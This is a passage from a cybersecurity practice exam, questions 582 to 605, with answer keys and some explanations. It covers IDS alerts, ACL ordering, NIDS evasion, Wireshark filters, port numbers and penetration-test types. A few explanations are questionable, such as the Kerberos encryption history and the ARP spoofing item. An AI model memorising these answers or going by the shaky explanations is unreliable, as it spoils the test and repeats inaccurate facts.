C. Host-based intrusion detection
D. Network-based intrusion detection Answer: B
 582

Which password cracking technique is the slowest?

A. Dictionary attack
B. Shoulder surfing
C. Brute force
D. Rainbow tables Answer: C
 583

Which of these is the best way to evade a NIDS?

A. Out of band signaling

B. Protocol isolation
C. Alternate Data Streams
D. Encryption Answer: D
 584

There are many different types of security policies.

For example, there are Network Security Policies,
Remote Access Policies, User Account Policies,
Information Security Policies, etc. What is the main
theme of these policies?

A. Confidentiality, Integrity, Availability

B. Authenticity, Confidentiality, Integrity
C. Availability, Non-repudiation, Confidentiality
D. Authenticity, Integrity, Non-repudiation
Answer: A
 585

There has been data-leakage on a workstation, so you

go to that station, turn off the power, then remove
the keyboard, mouse, and ethernet cable. Which
incident-handling step would these activities fall
under?

A. Discovery
B. Eradication
C. Containment
D. Recovery Answer: C
 586

You need to allow http traffic from [Link] and UDP traffic to
the syslog server at [Link]. At same time you need to allow
SMTP traffic to everyone else so they can send e-mail. You create
the following ACL’s, but then you find nobody can access the
internet or use e-mail. Look at this configuration and choose the
reason why these problems are happening.
Access-list 100 deny tcp any any
Access-list 105 permit udp host [Link]
Access-list 108 permit tcp host [Link] eq www any
Access-list 106 permit tcp any eq smtp any

A. The first ACL is denying all TCP traffic and the other ACL’s are
being ignored by the router.
B. The ACL 108 needs to be changed to port 80
C. The ACL 105 needs to be first because it’s UDP
D. The ACL for SMTP must be before the ACL 108 Answer: A
 587

While monitoring traffic, you find that there are very

large outbound connections from your LAN to some
external IP’s that are blacklisted. When you examine
further, you find that the connections are CnC
communications. What should you do?
If you block those IP’s then the infected machines can’t receive instructions from the Command-
and-Control center (CnC). After that clean the malware from the infected machines. Answer B
may or may not help with this problem because that particular malware may or may not have a
signature for it yet.

A. Block the blacklist IP’s at the firewall.

B. Update the latest signatures on your IDS/IPS.
C. Clean the malware that’s trying to communicate
with the external blacklisted IP’s.
D. Both A and C Answer: D
 588

Which service runs on TCP port 123?

More commonly NTP runs on UDP port 123, but it can be configured to use TCP instead. NTP is
the only acceptable answer here in any event.

A. POP3
B. DNS
C. Network Time Protocol
D. Telnet Answer: C
 589

BigCorp is a large company and has a huge data

center full of Linux servers. The perimeter of the data
center is secured with IPS and firewalls. Which of
these is the best security policy for this setup?

A. The operator knows that attacks and downtime are

inevitable and should have a backup site.
B. As long as the physical access to the network elements
is restricted, there is no need for additional measures.
C. Network elements must be hardened with user ids
and strong passwords. Regular security tests and
audits should be performed.
D. There is no need for specific security measures on the
network elements as long as firewalls and IPS systems
exist. Answer: C
 590

During an investigation you are reviewing the IDS logs.

You see nothing suspicious and see an alert that
triggered on normal web traffic. How would you label
this alert?

A. False negative
B. False positive
C. False signature
D. True positive Answer: B
 591

Your IDS shows this in the logs:

source IP: [Link]
source port: 80
destination IP: [Link]
destination port: 52191
You want to verify if this is a true positive or false positive.
Which of these is the most proper answer?

A. This is most probably false-positive because the IDS is

monitoring one direction traffic.
B. This is most probably true positive which triggered on
secure communication between client and server.
C. This is most probably true negative.
D. This is most probably false-positive, because an alert
triggered on reversed traffic
Answer: D
 592

Which of these encryption algorithms is used for

encrypting Kerberos traffic?

Kerberos versions 1-4 used DES for encryption. Version 5 switched to AES, which isn’t listed as
an answer choice here. DSA (Digital Signature Algorithm) is only used for signing. RSA and ECC
are asymmetric which is much slower than symmetric so they’re not used with Kerberos.

A. DSA
B. RSA
C. DES
D. ECC Answer: C
 593

Which statement about Intrusion Detection Systems is

NOT correct?

A. Intrusion Detection Systems require constant update

of the signature library.
B. Intrusion Detection Systems can easily distinguish a
malicious payload in encrypted traffic.
C. Intrusion Detection Systems can examine the contents
of the data in the context of the network protocol.
D. Intrusion Detection Systems can be configured to
distinguish specific content in network packets.
Answer: B
 594

You need to set up Wireshark on a Windows laptop.

What driver and library are needed to allow your NIC
to go into promiscuous mode?

A. Winpcap
B. Winprom
C. Winpsw
D. Libpcap
Answer: A
 595

You’re trying to run a Linux cron job to have

Wireshark grab traffic from the IP range of
[Link]/2. Which command will achieve this?
First, cron is the task-scheduling tool in Linux. Second, the key-word sudo means “superuser-do”.
in other words, it says to “run this job as the root user”. Tshark is wireshark’s terminal-line tool
(command -line tool). The -f switch means “filter” (capture filter). The “net” key-word specifies a
network to capture, in this case the whole [Link] network.

A. wireshark --fetch “192.168.5.*”

B. wireshark --capture --local --masked [Link] --
range 24
C. tshark -net [Link] mask [Link]
D. sudo tshark -f “net [Link]/24” Answer: D
 596

Which is these is NOT a method of preventing an ARP

spoofing attack?

A. Kernel based patches

B. ARPWatch
C. Static MAC entries
D. Secure ARP protocol Answer: A
 597

You found a vulnerability on the network and

reported it. After reviewing your report, the network
team provides you proof that they’ve already fixed
this issue. The vulnerability you found would be called
which of these?

A. Backdoor
B. Brute force attack
C. False-positive
D. False-negative Answer: C
 598

Two pen-testers performed the exact same

vulnerability scan, at the same time, with the same
tool, on the same IP ranges, but one of them showed
more results than the other. Which of these is the
MOST likely reason for this?
Perhaps the IPS thought it was an attack when the second person’s traffic came in? Perhaps it
looked suspicious by that point? The firewall is too static to adapt its behavior like this, and the
IDS doesn’t block anything.

A. One scan was blocked by the firewall.

B. One scan was blocked by the IDS
C. One scan was blocked by the IPS.
D. The admin of the scanned system updated most of
the vulnerabilities.
Answer: C
 599

What makes a penetration test more thorough than a

vulnerability scan?

A. A penetration test actively exploits the vulnerabilities

in the targeted infrastructure, while a vulnerability
scan does not typically involve active exploitation.
B. The tools used by penetration testers tend to have
much more comprehensive vulnerability databases.
C. Vulnerability scans only do host discovery and port
scanning by default.
D. It is not; a penetration test is often performed by an
automated tool, while a vulnerability scan requires
active engagement. Answer: A
 600

Which Wireshark filter will show you just SMTP

traffic?

A. request smtp 25
B. smtp port
C. [Link] eq 25
D. [Link] port 25 Answer: C
 601

Which of these would you use as a Wireshark display

filter to find unencrypted file transfers?

A. [Link] == 21 || [Link] == 22
B. [Link] != 21
C. [Link] == 21
D. [Link] = 23 Answer: C
 602

Which protocol is used to synchronize the time on a

Linux machine?

A. PPP
B. TimeKeeper
C. OSPF
D. NTP Answer: D
 603

Which document includes step-by-step instructions?

A. Process
B. Procedure
C. Policy
D. Paradigm Answer: B
 604

What is the port number for SNMP?

A. 150
B. 161
C. 169
D. 69 Answer: B
 605

A penetration tester is hired to do a risk assessment

of a company's DMZ. The rules of engagement states
that the penetration test be done from an external IP
address with no prior knowledge of the internal IT
systems. What kind of test is being performed?

A. white box
B. grey box
C. red box
D. black box Answer: D